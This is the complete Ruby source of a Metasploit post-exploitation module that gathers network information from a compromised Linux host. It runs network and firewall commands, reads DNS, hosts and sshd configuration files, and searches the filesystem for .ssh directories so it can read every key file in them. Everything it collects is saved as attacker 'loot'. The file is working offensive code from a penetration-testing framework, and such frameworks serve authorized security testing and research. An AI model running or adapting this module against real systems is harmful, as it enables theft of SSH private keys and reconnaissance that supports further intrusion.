Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::File
8
  include Msf::Post::Linux::Priv
9
  include Msf::Post::Linux::System
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Linux Gather Network Information',
16
        'Description' => %q{
17
          This module gathers network information from the target system
18
          IPTables rules, interfaces, wireless information, open and listening
19
          ports, active network connections, DNS information and SSH information.
20
        },
21
        'License' => MSF_LICENSE,
22
        'Author' => [
23
          'ohdae <bindshell[at]live.com>', # minor additions, modifications & testing
24
          'Stephen Haywood <averagesecurityguy[at]gmail.com>', # enum_linux
25
        ],
26
        'Platform' => ['linux'],
27
        'SessionTypes' => ['shell', 'meterpreter']
28
      )
29
    )
30
  end
31

32
  # Run Method for when run command is issued
33
  def run
34
    print_status("Running module against #{get_hostname} (#{session.session_host})")
35

36
    user = execute('/usr/bin/whoami')
37
    print_status("Module running as #{user}")
38

39
    # Collect data
40
    distro = get_sysinfo
41
    print_good('Info:')
42
    print_good("\t#{distro[:version]}")
43
    print_good("\t#{distro[:kernel]}")
44

45
    print_status('Collecting data...')
46

47
    nconfig = execute('/sbin/ifconfig -a')
48
    routes = execute('/sbin/route -e')
49
    iptables = execute('/sbin/iptables -L')
50
    iptables_nat = execute('/sbin/iptables -L -t nat')
51
    iptables_man = execute('/sbin/iptables -L -t mangle')
52
    resolv = cat_file('/etc/resolv.conf')
53
    sshd_conf = cat_file('/etc/ssh/sshd_config')
54
    hosts = cat_file('/etc/hosts')
55
    connections = execute('/usr/bin/lsof -nPi')
56
    wireless = execute('/sbin/iwconfig')
57
    open_ports = execute('/bin/netstat -tulpn')
58
    updown = execute('ls -R /etc/network')
59

60
    ssh_keys = get_ssh_keys
61

62
    # Save Enumerated data
63
    save('Network config', nconfig)
64
    save('Route table', routes)
65
    save('Firewall config', iptables.to_s + iptables_nat.to_s + iptables_man.to_s)
66
    save('DNS config', resolv)
67
    save('SSHD config', sshd_conf)
68
    save('Host file', hosts)
69
    save('SSH keys', ssh_keys) unless ssh_keys.empty?
70
    save('Active connections', connections)
71
    save('Wireless information', wireless)
72
    save('Listening ports', open_ports)
73
    save('If-Up/If-Down', updown)
74
  end
75

76
  # Save enumerated data
77
  def save(msg, data, ctype = 'text/plain')
78
    unless data && !data.empty?
79
      print_bad("Unable to get data for #{msg}")
80
      return
81
    end
82
    ltype = 'linux.enum.network'
83
    loot = store_loot(ltype, ctype, session, data, nil, msg)
84
    print_good("#{msg} stored in #{loot}")
85
  end
86

87
  def execute(cmd)
88
    verification_token = Rex::Text.rand_text_alpha(8)
89
    vprint_status("Execute: #{cmd}")
90
    output = cmd_exec(cmd + " || echo #{verification_token}")
91
    return nil if output.include?(verification_token)
92

93
    return output
94
  end
95

96
  def cat_file(filename)
97
    vprint_status("Download: #{filename}")
98
    output = read_file(filename)
99
    return output
100
  end
101

102
  def get_ssh_keys
103
    keys = []
104

105
    # Look for .ssh folder, "~/" might not work everytime
106
    vprint_status('Execute: /usr/bin/find / -maxdepth 3 -name .ssh')
107
    dirs = cmd_exec('/usr/bin/find / -maxdepth 3 -name .ssh').split("\n")
108
    ssh_base = ''
109
    dirs.each do |d|
110
      if d =~ %r{(^/)(.*)\.ssh$}
111
        ssh_base = d
112
        break
113
      end
114
    end
115

116
    # We didn't find .ssh :-(
117
    return [] if ssh_base == ''
118

119
    # List all the files under .ssh/
120
    files = execute("/bin/ls -a #{ssh_base}").chomp.split
121

122
    files.each do |k|
123
      next if k =~ /^(\.+)$/
124

125
      this_key = cat_file("#{ssh_base}/#{k}")
126
      keys << this_key
127
    end
128

129
    return keys
130
  end
131
end
132

133